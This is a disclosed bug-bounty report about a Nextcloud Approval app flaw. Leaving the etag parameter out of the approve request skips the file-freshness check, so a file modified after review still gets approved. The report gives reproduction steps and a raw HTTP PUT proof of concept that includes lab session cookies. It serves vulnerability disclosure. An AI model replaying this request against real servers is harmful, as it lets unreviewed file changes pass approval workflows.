# Approval app's file-freshness check can be bypassed by omitting the etag parameter, allowing approval of unreviewed file changes

Nextcloud Approval app only enforces file-etag freshness check when etag is present; omitting it lets an approver approve a file modified after review.

- Payout: $150
- Severity: medium
- Program: Nextcloud
- Found by (vendor credit): Dang Hung Vi (vidang04)
- Found by: vidang04
- Disclosed: 2026-09-17
- CVE: CVE-2026-82982
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/3610332
- Library page: https://bugbountylibrary.com/r/h1%3A3610332
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:medium tech:php technique:param-pollution vuln:access-control vuln:business-logic

**Target:** OCS API approve endpoint /apps/approval/api/v1/approve/{id}
**Root cause:** Backend validates the file etag against the reviewed version only if the etag parameter is supplied and non-empty; a missing etag skips the freshness check entirely.
**Steps:**
1. Create approval workflow with test1 (requester) and test2 (approver).
2. As test1 upload poc.md and request approval.
3. As test2 review file, click Approve, intercept request in Burp.
4. As test1 modify the file contents.
5. As test2 remove the `etag` field from the JSON body and forward `PUT /ocs/v2.php/apps/approval/api/v1/approve/14831` with `{"message":"test2"}`.
6. Server returns 200 OK and approves the modified file.
**How found:** Noticed the UI sends an etag to detect post-review edits; hypothesized the server-side check was conditional on the parameter's presence and tested by deleting it from the request body.
**Exploitation:** Approver intercepts their own approve request, strips the etag field, and forwards it after the requester has swapped the file contents, causing approval of an unreviewed version.
**Insight:** When a client-supplied field gates a security check, test omitting it entirely (not just tampering with its value) — optional-parameter checks often fail open on absence.

## Proof of concept (copied exactly from the original report)

**Approve request with etag field removed**

```
PUT /ocs/v2.php/apps/approval/api/v1/approve/14831 HTTP/1.1
Host: 172.16.88.96:8081
Content-Length: 19
requesttoken: VG7aXKzexiptXUcHCI4D3kSYtm7Ka9qPYV/cPqY98nQ=:PQucC5msr3wlKB5GYd157nHO0RSPIYnGI3SUe/YMkwE=
X-Requested-With: XMLHttpRequest, XMLHttpRequest
Accept-Language: vi-VN,vi;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Origin: http://172.16.88.96:8081
Accept-Encoding: gzip, deflate, br
Cookie: oc_sessionPassphrase=h0hEbFC0ZNEg6Gqy4BzpKCPT9G99atcnoDLkZETROFjdM5pBmz0CGEZiRgeoPI%2BU9qXj9UC6Ayu2TpojCyMA32cLlAj%2Bms9gvLYnViKC%2BhNWO9B0i3rBmR1YewWvEKhj; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocrzkzhsljc2=61f75550c287a8d21a3a557dd913e7ca; nc_username=test2; nc_token=a787oSWw0nXxsNOytys1vIoZTGKXsi6d; nc_session_id=61f75550c287a8d21a3a557dd913e7ca
Connection: keep-alive

{"message":"test2"}
```

